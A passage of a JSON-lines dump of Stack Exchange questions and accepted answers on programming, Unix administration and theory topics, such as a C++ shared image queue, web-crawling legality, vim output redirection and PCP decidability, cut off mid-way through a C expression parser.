changes. It is easier to use datasets but not always popular.I suggest you assess your real need for an N-tier architecture (if N>2). Also, you may want to consider Microsoft RIA Services that may be easier for you than WCF. One last word, sometimes the skills of the team drives technology. Make sure your team is good enough in these technologies before commuting deadlines."  } 
{  "id": "_codereview.110370"  , "question": "I have two threads, one produces images and one processes them. For the synchronization, I created a class where you can set and get images, and it always waits until an image is available or a worker thread is not busy anymore.Additionally, a call to SetFinish stops both threads, while a call to Clear clears the currently (not yet processed) image.Do you see any problems with this code (mainly threading issues)?Header:#ifndef SHARED_QUEUE_H_#define SHARED_QUEUE_H_#include <memory>#include <condition_variable>struct ImageData;class SharedQueue {public:  void SetFinish();  bool GetImage(std::shared_ptr<const ImageData> &image);  void SetImage(std::shared_ptr<const ImageData> image);  void Clear();private:  std::condition_variable image_available_;  std::condition_variable image_processed_;  std::shared_ptr<const ImageData> next_image_;  bool stop_{false};  std::mutex mutex_;};#endif  // SHARED_QUEUE_H_Implementation:#include shared_queue.hvoid SharedQueue::SetFinish() {  { // Store flag and wake up the thread    std::lock_guard<std::mutex> lock(mutex_);    stop_ = true;  }  image_available_.notify_one();  image_processed_.notify_one();}bool SharedQueue::GetImage(std::shared_ptr<const ImageData> &image) {  {    std::unique_lock<std::mutex> lock(mutex_);    image_available_.wait(lock, [this]{      return (next_image_.get() != nullptr || stop_);    });    if (stop_)      return false;    image = next_image_;    next_image_.reset();  }  image_processed_.notify_one();  return true;}void SharedQueue::SetImage(std::shared_ptr<const ImageData> image) {  { // Store image for processing and wake up the thread    std::unique_lock<std::mutex> lock(mutex_);    image_processed_.wait(lock, [this]{      return (next_image_.get() == nullptr || stop_);    });    if (stop_)      return;    next_image_ = image;  }  image_available_.notify_one();}void SharedQueue::Clear() {  {    std::unique_lock<std::mutex> lock(mutex_);    next_image_.reset();  }  image_processed_.notify_one();}"  , "title": "Multithreading, shared queue as synchronization point"  , "tags": "c++;c++11;multithreading;asynchronous;synchronization"  , "accepted_answer": "Not a Queue!First and foremost, your SharedQueue isn't a queue. You can only store one element in it at a time. That doesn't make it super useful - what if the producer wants to write two images?queue.setImage(img1);queue.setImage(img2); // blocks?It's more of a guarantee-one-at-a-time container. A queue would be much more useful, so I'd consider actually implementing one. This is a pretty major design flaw.Beyond that, I just have minor comments.Move semanticsYou have a lot of copies where you can do moves. For instance, in SetImage():next_image_ = image;should be:next_image_ = std::move(image);Moving is cheaper than copying (no need to incur reference counting). Checking shared_ptrYou don't need to use .get(), you can directly check the shared_ptr:image_processed_.wait(lock, [this]{   return !next_image_ || stop_;});Clear()You use a std::unique_lock<> to Clear() where a std::lock_guard<> is sufficient. You use the correct one in SetFinish(). "  } 
{  "id": "_softwareengineering.237183"  , "question": "When Google, Bing or Yahoo are crawling content from Web sites, what makes it legal? Is there a public registry of only allowed crawlers? When researchers are crawling Deep Web, what makes their efforts legal?When tester automate their tests with Selenium or JMeter and hit same site multiple times, what makes their effort illegal?In each of those cases, an automate is consuming Internet bandwidth of the Web site, and copying their content. But some are considered legal, and other are not."  , "title": "What makes Web crawling legal?"  , "tags": "testing;web"  , "accepted_answer": "At the risk of stating obvious tautologies, something is only illegal if there is a law against it.  When someone puts up a website, it is considered open to the public by default.  If there is content that should only be available to certain people, it's up to the web designer to secure it in some way.When content is secured, and someone without authorization accesses it through hacking, this is generally considered morally equivalent to finding the door to somebody's house locked and then breaking in, and there are laws against doing so in most jurisdictions.The intent of the website owner matters for a lot.  A good deal of deep web content is content that site owners would like to make available, but isn't easily accessible to normal web crawlers.  On the other hand, if an owner puts a rule in robots.txt to exclude certain content from a crawler, and the crawler indexes it anyway, this is considered more or less equivalent to wandering onto someone's property when there's a NO TRESPASSING sign in clear view.  But most websites welcome search engine traffic, because it drives actual users to the site, which helps accomplish the purpose of the site, whatever that purpose may be.  (Usually making money, spreading information, or both.)As for overuse of automated testing tools, this is something very different from a web crawler.  A crawler has algorithms to only hit any given page once, and its principal purpose is to index sites so as to drive traffic to them, which most webmasters consider is worth the cost in bandwidth and processor power.  But hitting the same page repeatedly by some tool that's not going to bring in new users does nothing to further the purposes of the site, and so the costs that it places on the site owner are essentially wasted.  Unless the site owner actually asked for it, (for example, as part of a test of his site's capabilities,) it's generally considered unwelcome and harmful."  } 
{  "id": "_softwareengineering.314595"  , "question": "A major application we use has a bug that the vendor is calling (a swear word in our business) working as designed.As a programmer / system analyst this is a bug - and against all I have been taught about systems / database programming / multi-user applications etc. should act when erroneous data is removed / marked deleted etc.The error is that numerous critical at times downstream code (in their own software!) look for a single record in the database for that client current appointment for value X (Table = ClientID, ClientVisitID, Code, CodeValue, DateStamp). This single record holds the most current value for data that changes semi-regularly. If my staff sets the value of X to 123 in any document, or datagrid, or entry form, it updates the single record to X = 123 (depending on the temporal nature of where the data was entered e.g document created yesterday versus time column in the datagrid for today).This speeds up downstream systems who need the value of X - they only have to look in one place, else decide to look in previous visit(s) for the most current value (depending on rules for how long to look back etc)If NO value of X has been recorded this visit, then there is NO row in the single record table. The downstream system then follows other rules (e.g limits on how long to look back) to get the result.The ScenariosMy staff records X = 100 in the last visit (a day ago)My staff records nothing this visitNothing in the single row table  (for this visit)Downstream systems retrieve X as 100 from the last visit-My staff records X = 100 in the last visit (a day ago)My staff records X = 120 in the current visit (today)120 in the single row table, datestamp = todayDownstream systems retrieve X = 120 from single row table-My staff records X = 100 in the last visit (a day ago)My staff records X = 999 (in error) in the current visit (today + 1 min)999 in the single row table, datestamp = today + 1 minMy staff deletes the record (as allowed by the application)**empty string (not null) in the single row table, datestamp = today + 1 minDownstream system retrieve nothing, get nothing from the previous visit**-My staff records X = 100 in the last visit (a day ago)My staff records X = 120 in the current visit (today)120 in the single row table, datestamp = todayMy staff records X = 999 (in error) in the current visit (today + 1 min)999 in the single row table, datestamp = today + 1 minMy staff deletes the record (as allowed by the application)**empty string (not null) in the single row table, datestamp = today + 1 minDownstream system retrieve nothing, and act as if 120 never was recorded**So - What PROFOUND IRREFUTABLE Software Design concerpt do I need to tell my vendor this behaviour disobeys ? What Quality standard in programming does this contravene?How do I frame it in a way that make sense?"  , "title": "How to explain to a vendor that when erroneous data is deleted/deactivated the application future state should be as if the data was never entered?"  , "tags": "user interface;finite state machine"  } 
{  "id": "_codereview.20385"  , "question": "Before, I had this code, sometimes it is longer:String dbEntry = idBldgInfo = ' + currentBldgID + ',scenario = '305',installCost=' +installCost + ',annualSave=' + annualSave + ',simplePayback=' + simplePayback + ',kwhPre=' + preKWH + ',kwhPost=' + postKWH + ',co2Pre=' + preCO2e + ',co2Post=' +postCO2e + ',mbtuPre=' + preMBtu + ',mbtuPost=' + postMBtu + ',shortDescription=' +econ4ShortDescription +  ',category=' + category + ',longDescription=' +econ4LongDescription + ';I refactored it into:String newDbEntry =     getDBEntryFromDBPairs(        new DBPair(idBldgInfo, currentBldgID), new DBPair(scenario, 305),        new DBPair(installCost, installCost), new DBPair(annualSave, annualSave),        new DBPair(simplePayback, simplePayback), new DBPair(kwhPre, preKWH),        new DBPair(kwhPost, postKWH), new DBPair(co2Pre, preCO2e),        new DBPair(co2Post, postCO2e), new DBPair(mbtuPre, preMBtu),        new DBPair(mbtuPost, postMBtu), new DBPair(shortDescription, econ4ShortDescription),        new DBPair(category, category), new DBPair(longDescription, econ4LongDescription));It looks only slightly better. Is it worth changing it?The getDBEntryFromDBPairs method is much more efficient since it uses a StringBuilder. But IDK. Any thoughts/suggestions are appreciated."  , "title": "String Building"  , "tags": "java;strings"  } 
{  "id": "_codereview.25308"  , "question": "The code below is equivalent. I can see pros and cons for both versions. Which is better: the short, clever way, or the long, ctrl+c way?Short version:character.on(key,function(key){    var action = ({            a:{axis:x,direction:-1},            d:{axis:x,direction:1},            w:{axis:y,direction:1},            s:{axis:y,direction:-1}})[key[1]],        stop = key[0]==-;    if (action)        if (stop)            this.walkdir[action.axis] = 0;        else            this.walkdir[action.axis] = this.lookdir[action.axis] = action.direction;});Long version:character.on(key,function(key){    switch (key){        case +a:             this.walkdir.x = -1;            this.lookdir.x = -1;        break;        case +d:            this.walkdir.x = 1;            this.lookdir.x = 1;        break;        case +w:            this.walkdir.y = 1;            this.lookdir.y = 1;        break;        case +s:            this.walkdir.y = -1;            this.lookdir.y = -1;        break;        case -a:             if (this.walkdir.x == -1)                this.walkdir.x = 0;        break;        case -d:            if (this.walkdir.x == 1)                this.walkdir.x = 0;        break;        case -w:             if (this.walkdir.y == 1)                this.walkdir.y = 0;        break;        case -s:            if (this.walkdir.y == -1)                this.walkdir.y = 0;        break;        case space:            this.setStance(jumping);        break;    };});"  , "title": "Two keyboard handlers for a video game character"  , "tags": "javascript;game;comparative review;event handling"  , "accepted_answer": "The short code wins hands down. I understood it immediately, and more importantly, I can trivially verify that the code is reasonably error free. This is much harder with the longer code.You say that the longer code is easier to understand but I claim that this is objectively wrong.Case in point, the long code uses lots of magic numbers: 1, 0, -1,  what do these stand for? Ah, the short code tells us: they are directions.The longer code also makes us scroll (depending on the screen size) to see the whole method. This significantly impacts ease of understanding. I believe there were even studies demonstrating this empirically (but I cannot cite them; Code Complete would probably be the relevant reference here).The one thing I would change in the short code is the lookup itself: define the dictionary separately, maybe even outside the method, and perform the lookup as follows:var action = movement_commands[key[1]];And maybe think about tokenising key properly, i.e. assigning the parts to variables before using them. However, I think that the method is short enough to make this unnecessary.You also said that the longer code is more efficient but Id like to see a benchmark before I believe that. You probably think that the first code is slower because of the dictionary lookup. But consider that JavaScript is a dynamic language  every single variable access is potentially a dictionary lookup internally. So there is no difference in performance  indeed, the short code could be faster since theres less variable lookup involved.(Of course the two code snippets do different things: the long version handles jumping, and they behave differently when the character was previously walking in one direction and now you cancel walking into a different direction.)"  } 
{  "id": "_unix.2811"  , "question": "A network sensor I'm evaluating is showing that my Opensolaris server is broadcasting on the snmp port 161, and I'm getting alerts about every 2 minutes.  How can I turn off the snmp broadcast (i.e. traps?) on the Opensolaris machine?We have snmp enabled on the Opensolaris machine for Cacti, so it should really just be acting like a client in regards to snmp.  Is there a configuration setting somewhere?  I'm not familiar with snmp, but somehow got it up and running for Cacti.  I see that /usr/sbin/snmpd is running.  Any thoughts?  Thanks."  , "title": "Opensolaris snmp broadcast"  , "tags": "opensolaris"  , "accepted_answer": "I would check all services running and try disabling each of them one at a time, starting with the most suspicious. Some googling suggests:/etc/rc3.d/S76snmpdx stop/etc/rc3.d/S77dmi stop(assuming you are in runlevel 3)"  } 
{  "id": "_unix.282789"  , "question": "I have a very a annoying problem. I've using Mac Terminal over SSH to write Perl script with vim on a local virtual Debian machine. The Perl script uses the WWW::Mechanize::Firefox module which in turn uses the MozRepl::RemoteObject object module.The problem I'm having is that output from MozRepl is showing up in another terminal window on another tty every time I run the script, making it a mess:I have to close out the vim session and reopen it to clear the garbage from the terminal.I don't want to completely suppress the output of the script because I need it to print debug statements. I just want to stop the output from MozRepl from showing up in my terminal window.I tried setting log => ['fatal'] when creating the W:M:F object but it had no effect."  , "title": "MOZREPL output showing up in terminal window"  , "tags": "debian;terminal;perl;tty"  } 
{  "id": "_softwareengineering.298817"  , "question": "I'm starting a new MVC 5 project from scratch. I'm using EF 6 (Database First) and Identity 2.0.My solution consists of 3 different projects: Data (where I have a .edmx and my DB context), Resources (for localization purposes) and Web (the web project itself).I'm using ViewModels for all my views, by default. Every time I create a new view, the first thing I do is add the ViewModel (if the ViewModels are connected between them, I keep them all in the same file; for example, all the ViewModels related to user accounts I keep in AccountViewModels). So far, this has made things very simple and solved several issues I was having before.But I'm wondering, does it make sense for me to use Models at all? The only one I am using right now is the one for Identity, which is created by default and contains the ApplicationUser and ApplicationDbContext, both specific and necessary to Identity. Outside of that, it's everything ViewModels.Would my Data project be considered the Model for my application? Thus, I am in fact using a Model, just that instead of being a bunch of classes I keep in Web\\Models, it's a separate project where the Models (BL objects created by Entity) are stored. I think so, but I am not sure.Is this a right approach, or could there be potential issues down the road? It's my first take on web programming so I would appreciate any advice."  , "title": "Never using Models, only ViewModels"  , "tags": "c#;.net;mvc;asp.net;asp.net mvc"  , "accepted_answer": "Would my Data project be considered the Model for my application?Yes, that's exactly what Model is supposed to be.Is this a right approachI believe it is.or could there be potential issues down the road?There definitely will be. But description of your architecture is so vague, that we can only guess what kind of problems will you encounter."  } 
{  "id": "_softwareengineering.256529"  , "question": "I am designing a REST API and figured I'll just look at how others are naming their resources and choosing the routes.I look at Twitter's API and see that they have nested resources. For example:https://dev.twitter.com/rest/reference/get/statuses/retweets_of_meThe resource is called retweets_of_me but it's also nested under statuses.Does this mean that there is a logical association between the two resources? I can pick whatever routes I want to use but arbitrarily nesting routes probably isn't good practice."  , "title": "What are the standards for having nested resources in REST API"  , "tags": "rest"  } 
{  "id": "_unix.141661"  , "question": "I want to export the output of vi command :set fileencoding to another file. It seems vi's file encoding detection is better than file command.How to do that?I could write a macro with::set fileencoding:qbut this won't export the output."  , "title": "Redirect VI command output to a file"  , "tags": "vim;vi"  , "accepted_answer": "In vim, you can use redir command. In command mode::redir > vim.output | set fileencoding | redir ENDThen output of set fileencoding will be save to vim.output. There is many other options of redir, you can see :help redir for more details.This works in vim, not in vi."  } 
{  "id": "_webmaster.107464"  , "question": "So as the title asks how would one go about reporting a site for keyword stuffing to google? I can't seem to find anyway to do this other than reporting a site for being spammy."  , "title": "Reporting a site for keyword stuffing?"  , "tags": "seo;reporting;keyword stuffing"  } 
{  "id": "_unix.57012"  , "question": "Possible Duplicate:Customizing bash shell: Bold/color the command bash $ cat what-i-wantI want the output be in a different color.I'd like my commands stand out among the output, without making the prompt overly long. I want to see commands and output in different colors. I understand how to manipulate prompt colors by setting PS1. Is there a way to change color after I pressed Enter but before the command started executing?"  , "title": "Coloring shell command and output differrently"  , "tags": "bash;colors;prompt"  } 
{  "id": "_unix.91126"  , "question": "I noticed I have the following in my logs. I just am not sure as to how to go about figuring out how to fix or find out what is causing them and if they are serious.[582046.956291] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 18482 0 0 1379281138 e pipe failed[582346.769892] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 21093 0 0 1379281439 e pipe failed[582646.586134] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 23723 0 0 1379281739 e pipe failed[582946.390029] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 26342 0 0 1379282039 e pipe failed[583246.202851] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 29010 0 0 1379282340 e pipe failed[583546.018408] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 31620 0 0 1379282640 e pipe failed[583845.836688] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 1837 0 0 1379282940 e pipe failed[584145.645968] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 4416 0 0 1379283241 e pipe failed[584445.455705] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 7001 0 0 1379283541 e pipe failed[584745.266532] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 9600 0 0 1379283841 e pipe failed[585045.074399] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 12209 0 0 1379284141 e pipe failed[585344.885464] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 14790 0 0 1379284442 e pipe failed[585644.743818] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 17605 0 0 1379284742 e pipe failed[585944.511572] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 20183 0 0 1379285042 e pipe failed[586244.315990] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 22781 0 0 1379285343 e pipe failed[586544.123020] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 25385 0 0 1379285643 e pipe failed[586843.932084] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 27984 0 0 1379285943 e pipe failed[587143.742379] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 30608 0 0 1379286244 e pipe failed[587443.559349] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 799 0 0 1379286544 e pipe failed[587743.373027] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 3420 0 0 1379286844 e pipe failed[588043.175248] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 6031 0 0 1379287145 e pipe failed[588342.986730] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 8665 0 0 1379287445 e pipe failed[588642.795951] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 11279 0 0 1379287745 e pipe failed[588942.608088] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 13915 0 0 1379288045 e pipe failed[589242.420741] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 16728 0 0 1379288346 e pipe failed[589542.235065] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 19355 0 0 1379288646 e pipe failed[589842.061502] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 21998 0 0 1379288946 e pipe failed[590141.856687] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 24657 0 0 1379289247 e pipe failed[590441.700335] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 27307 0 0 1379289547 e pipe failed[590741.483298] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 29944 0 0 1379289847 e pipe failed[591041.286647] Core dump to |/usr/libexec/abrt-hook-ccpp 7 0 32554 0 0 1379290148 e pipe failed"  , "title": "Debugging dmesg logs"  , "tags": "centos;rhel;debugging;core dump"  } 
{  "id": "_codereview.70951"  , "question": "In this specific situation there is a table with trackdata and a form to add rows. For the sake of clarity I won't include the view-related code here. The added rows are added to a LinkedList when appropriate. public class TrackDAO {private List<Track> tracks;private Connection con;public TrackDAO() {    tracks = new LinkedList<Track>();}public void addTrack(Track track){    tracks.add(track);}I use a Singleton class for the Database connection.public void connect() throws Exception{    con = Database.getInstance().connect();}public void disconnect() {    Database.getInstance().disconnect();}Files can be stored & retrieved locally. public void saveToFile(File file) throws IOException {    File getFile = file;    if (Utils.getExtension(getFile) == null){        String url = getFile.getAbsolutePath();        url += . + Utils.ml;        getFile = new File(url);    }    FileOutputStream fos = new FileOutputStream(getFile);    ObjectOutputStream oos = new ObjectOutputStream(fos);    Track[] trackArray = tracks.toArray(new Track[tracks.size()]);    oos.writeObject(trackArray);    oos.close();}public void loadFromFile(File file) throws IOException {    FileInputStream fis = new FileInputStream(file);    ObjectInputStream ois = new ObjectInputStream(fis);    try {        Track[] trackArray = (Track[])ois.readObject();        tracks.clear();        tracks.addAll(Arrays.asList(trackArray));    } catch (ClassNotFoundException e) {        e.printStackTrace();    }    ois.close();}When the table view is being opened the data will load into the table.     public void loadData() throws SQLException{    tracks.clear();    String sql = select id, artist, title, album, tuning, genre, url from track order by title;    Statement selectStatement = con.createStatement();    selectStatement.executeQuery(sql);    ResultSet results = selectStatement.getResultSet();        while(results.next()){            int id = results.getInt(id);            String artist = results.getString(artist);            String title = results.getString(title);            String album = results.getString(album);            String tuning = results.getString(tuning);            String genre = results.getString(genre);            String fileUrl = results.getString(url);            Track track = new Track(id, artist, title, album, tuning, genre, fileUrl);            tracks.add(track);            System.out.println(track);        }    results.close();    selectStatement.close();}When the application is being closed the method will query the database for each id and check wether it has to update or insert the track.  public void saveToDatabase()throws SQLException {                   String checkSql = select count(*) as count from track where id=?;         PreparedStatement checkStatement = con.prepareStatement(checkSql);    String insertSql = insert into track(id, artist, title, album, tuning, genre, url) values(?,?,?,?,?,?,?);    PreparedStatement insertStatement = con.prepareStatement(insertSql);    String updateSql = update track set artist=?, title=?, album=?, tuning=?, genre=?, url=? where id=?;    PreparedStatement updateStatement = con.prepareStatement(updateSql);    for(Track track: tracks){        int id = track.getId();        String artist = track.getArtist();        String title = track.getTitle();        String album = track.getAlbum();        String tuning = track.getTuning();        String genre = track.getGenre();        String url = track.getFileUrl();        checkStatement.setInt(1, id);        ResultSet checkResult = checkStatement.executeQuery();        checkResult.next();        int count = checkResult.getInt(1);        if (count == 0){            System.out.println(Inserting track with ID:  + id);            int col = 1;            insertStatement.setInt(col++, id);            insertStatement.setString(col++, artist);            insertStatement.setString(col++, title);            insertStatement.setString(col++, album);            insertStatement.setString(col++, tuning);            insertStatement.setString(col++, genre);            insertStatement.setString(col++, url);            insertStatement.executeUpdate();            System.out.println(insertStatement.toString());        } else {            System.out.println(Updating track with ID:  + id);            int col = 1;            updateStatement.setString(col++, artist);            updateStatement.setString(col++, title);            updateStatement.setString(col++, album);            updateStatement.setString(col++, tuning);            updateStatement.setString(col++, genre);            updateStatement.setString(col++, url);            updateStatement.setInt(col++, id);            updateStatement.executeUpdate();        }    }    updateStatement.close();    insertStatement.close();    checkStatement.close();}Finally a track can be deleted by id.public void deleteTrack(int id) throws SQLException{    String checkSql = select count(*) as count from track where id=?;    PreparedStatement checkStatement = con.prepareStatement(checkSql);    checkStatement.setInt(1, id);    ResultSet checkResult = checkStatement.executeQuery();    checkResult.next();    int count = checkResult.getInt(1);    if(count!=0){        for(Iterator<Track> it=tracks.iterator(); it.hasNext(); ) {        if(it.next().getId()==id) {             System.out.println(it);            it.remove();            break;            }        }        System.out.println(Deleting track with ID:  + id);        String deleteSql = delete from track where id=?;         PreparedStatement deleteStatement = con.prepareStatement(deleteSql);        deleteStatement.setInt(1, id);        deleteStatement.executeUpdate();        deleteStatement.close();    }    checkStatement.close();}Any advice (on either part or whole) is welcome."  , "title": "TrackDAO: what can be improved?"  , "tags": "java;mysql;linked list;database;file system"  , "accepted_answer": "first of all, your DAO class is not thread safe. Are you sure this behavior is the goal?connect() method creates a connection every time when it is called, and doesn't disconnect the previous one, this could cause a memory leakat the same method throwing Exception is in order to avoidat saveToFile() why do you need a new pointer to the file object? It's code smell, and the original file is not declared as final so you should replace it anytimeString url = getFile.getAbsolutePath();url += . + Utils.ml; should be replace with String url getFile.getAbsolutePath() + . + Utils.ml; It compiles to StringBuilder, so it's a cheaper operation then the 2 line version.at Track[] trackArray = tracks.toArray(new Track[tracks.size()]); you don't need to initialize the new array with the same size, 0 also will be okinstead of manually close resource(s) in Java 7 you should use an AutoCloseable with tryloadFromFile() is not so nice. For me it's annoying that loadFromFile() drops all of my Tracks previously! This is strange, and need to know this behavior to use this class. If you want to write clean code, you have to avoid things like that.e.printStackTrace() is not acceptable in business applications, so if this is a hobby/school project it could be ok, otherwise it's a big mistake.loadData() -> tracks.clear() -> same storyThis class is not a clean DAO, it's a mixed something, because it not just representing Data Access, it contains other logic, and holding data. I suggest to split the class, create a thread safe stateless data access object, and a container which handles the current Tracks. In this way you should create arbitary number of containers, so you don't need to clear the tracks for exampleat saveToDatabase() check existing should be a separate methodthose Strings are code smellthe if else contains code duplication, you do almost the same on different statements with the same classcheckStatement.close() always close as soon as possiblemissing error handler, if some error occurs the statements stay opendeleteTrack() code duplication!checkStatement.close() close ASAP"  } 
{  "id": "_softwareengineering.210904"  , "question": "I am trying my hand in python, Django, JQuery.. etc to make a clone of imdb site. Currently I'm in web-development from past 10 months on same technologies. In my spare time I want to develop a side-project which may look good on resume.I came up with an idea, to make a clone of imdb.com. But after 2 weeks of development I stopped.reasons: its not different Why create another imdb?I'm not improving it?Face it, it will be sub standard of original one.The need for the project is to showcase my skills in above technologies but at same time I want it to be useful."  , "title": "creating a clone of a site is good idea for project?"  , "tags": "web development"  , "accepted_answer": "What you said reminds me of a quote from John Carmack on the subject:In the information age, the barriers [to entry into programming] just aren't there.   The barriers are self imposed. If you want to set off and go develop some grand new   thing, you don't need millions of dollars of capitalization. You need enough pizza and   Diet Coke to stick in your refrigerator, a cheap PC to work on, and the dedication to   go through with it. We slept on floors. We waded across rivers.  — John CarmackI would say more important than the pizza, Diet Coke, and cheap PC is the dedication.  If your heart isn't into it, you'll never make a decent program.  And since making something which has already been done before is a strong demotivator, logically you should strive to do something which has never been done before.  Oddly enough, it doesn't even have to be that particularly useful since at least for me, that doesn't seem to be so important.  It just has to be something which nobody has attempted before.  Of course, on a resume, flashy is better, but flashy is not as important as getting it done, so focus on developing something you want to see finished.  You can always go back and improve on it (adding a better interface or whatever).When you're coding every night to finish something you enjoy working on, then you'll wind up with a marvelous little project that works and is impressive.  If you quit half-way, then it doesn't matter how useful or flashy it would have been.  It didn't finish.  "  } 
{  "id": "_unix.331260"  , "question": "First of all, I apologize if this is not the right place to ask this, but I couldn't think of anywhere else (maybe Stack Overflow?).Anyway, I'm looking for a Optical Character Recognition software (OCR) to process my notes. The thing is that occasionally there is an equation there in the middle, so I was looking for a software that can process the text and the equations together that I can run in my Linux system.Ultimately my goal is to create a LaTeX file from that, so it wouldn't hurt if the output was already in LaTeX, but I guess that would be asking too much.I couldn't find anything online that did that, but I think that's mainly because I'm not using the right search terms (English is not my main language). I did find this question but it's from 4 years ago and I think this have changed since then.If I could get one good software to process the text part of the notes, and another to process the equation part of the notes, I'd be able to put them all together already.Does anybody know a way of doing this?"  , "title": "OCR software for equations to get LaTeX file"  , "tags": "images;latex;ocr"  } 
{  "id": "_cs.16357"  , "question": "Given two ordered sets of words $a_1, a_2, ..., a_k$, $b_1, b_2, ..., b_k$ taking values in some discrete alphabet $A$, a solution to the PCP problem is a sequence $i_1, ..., i_n$ taking values in $1, 2,..., k$ such that $a_{i_1}|a_{i_2}|...|a_{i_n}=b_{i_1}|b_{i_2}|...|b_{i_n}$ where $|$ means concatenation. $k$ can be called the length of the problem, $n$ the length of the solution and if we let $w$ be the length of the largest word in $a_1, a_2, ..., a_k, b_1, b_2, ..., b_k$, $w$ is called the width of the problem.I know that the PCP problem becomes decidable in several scenarios, for instance: for bounded $n$, or if $A$ is unary, etc. On the other hand for $k\\geq7$ PCP is still undecidable. My question is, is there any result known for bounded values of $w$? "  , "title": "Undecidability of the PCP problem with bounded width"  , "tags": "computability;reference request;undecidability;decision problem"  , "accepted_answer": "If $w$ is bounded, and the alphabet size is bounded, then the number of possible words is bounded. Thus, there is only a finite number of possible instances, so the problem becomes a finite languages, and hence decidable.If you don't bound the alphabet, then you can encode any width of $w$ by adding more letters, so the problem is the same as standard PCP, and hence undecidable."  } 
{  "id": "_scicomp.16406"  , "question": "For $A=LU$, or $A=LDL^T$ factorization, bandwidth is preserved when there is no pivoting. This is true even for indefinite A, see question. However, when there is pivoting band structure is destroyed, so fill-ins can occur outside the band. I am curious if there is any pivoting that can still preserve sparsity for the factors within some bounds."  , "title": "Is there an upper bound for fill-ins for indefinite triangular factorization?"  , "tags": "sparse;factorization"  } 
{  "id": "_codereview.32040"  , "question": "I'm a C++ programmer using SPOJ problems to learn C(99). This is my solution to the problem CMEXPR, where the goal is to read a valid expression (+, -, *, / only) from input and write it on output with superfluous parentheses removed.The code yields correct answer according to the online judge (got an AC). My question is whether there are any C++-isms in the code and if so, what would be a more idiomatic C way of expressing them. Basically, I don't want to write C++ code in C (just like I don't like C code written in C++).#include <stdbool.h>#include <stddef.h>#include <stdio.h>#include <stdlib.h>//#define TESTING#ifdef TESTING  #define TEST_ASSERT(maCond) do { if (!(maCond)) { printf(%d: %s\\n, __LINE__, #maCond); exit(1); } } while (0)  #define TEST_ASSERT_MSG(maCond, maFormat, maMsg) \\    do { \\      if (!(maCond)) { printf(%d: %s: ' maFormat '\\n, __LINE__, #maCond, (maMsg)); exit(1); } \\    } while (0)  #define IF_TESTING(...) __VA_ARGS__#else  #define TEST_ASSERT(maCond) do {} while (0)  #define TEST_ASSERT_MSG(maCond, maFormat, maMsg) do {} while(0)  #define IF_TESTING(...)#endifenum ParsingContext{  CONTEXT_FIRST_TERM  , CONTEXT_ADDITIVE_EXPRESSION  , CONTEXT_NONFIRST_TERM};struct ExprNode{  char type;  struct ExprNode *child[2];};struct NodeMemory{  struct ExprNode data[MAX_NODE_COUNT];  struct ExprNode *end;};struct ExprNode* createNode(struct NodeMemory *mem, char type){  struct ExprNode *node = mem->end++;  TEST_ASSERT(mem->end - mem->data <= MAX_NODE_COUNT);  node->type = type;  IF_TESTING(    node->child[0] = node->child[1] = NULL;  )  return node;}struct ExprNode* moveToChild(  struct NodeMemory * restrict mem  , struct ExprNode * restrict node  , size_t idxChild  , char newParentType){  struct ExprNode * result = createNode(mem, newParentType);  result->child[idxChild] = node;  return result;}char readChar(const char * restrict * restrict in){  char c = **in;  ++*in;  return c;}void writeChar(char * restrict * restrict out, char c){  **out = c;  ++*out;}struct ExprNode* parse(  struct NodeMemory * restrict mem  , const char * restrict * restrict in  , struct ExprNode * restrict root  , enum ParsingContext context){  TEST_ASSERT(root != NULL);  bool skipStart = (context == CONTEXT_NONFIRST_TERM);  // Left operand  if (!skipStart) {    switch (**in) {      case '(':        ++*in;        root = parse(mem, in, root, CONTEXT_FIRST_TERM);        TEST_ASSERT_MSG(**in == ')', %c, **in);        ++*in;        break;      default:        TEST_ASSERT_MSG(          **in != ')'          && **in != '+'          && **in != '-'          && **in != '*'          && **in != '/'          && **in != '\\n'          , %c, **in        );        root->type = readChar(in);        break;    }  }  for (;;) {    // Operator    if (!skipStart) {      switch (**in) {        case '\\n':        case ')':          TEST_ASSERT(root != NULL);          TEST_ASSERT(root->type != '.');          return root;        case '+':        case '-':          if (context == CONTEXT_NONFIRST_TERM) {            TEST_ASSERT(root != NULL);            TEST_ASSERT(root->type != '.');            return root;          }          TEST_ASSERT(            (context == CONTEXT_ADDITIVE_EXPRESSION)            ==            (root->type == '+' || root->type == '-')          );          context = CONTEXT_ADDITIVE_EXPRESSION;          root = moveToChild(mem, root, 0, readChar(in));          break;        case '*':        case '/':          if (context == CONTEXT_ADDITIVE_EXPRESSION) {            TEST_ASSERT(root->child[1]->type != '.');            root->child[1] = moveToChild(mem, root->child[1], 0, readChar(in));            root->child[1] = parse(mem, in, root->child[1], CONTEXT_NONFIRST_TERM);            continue; // Parsed up to next operator or teminator          }          root = moveToChild(mem, root, 0, readChar(in));          break;        default:          TEST_ASSERT(false);          break;      }    }    skipStart = false;    // Right operand    switch (**in) {      case '(':        ++*in;        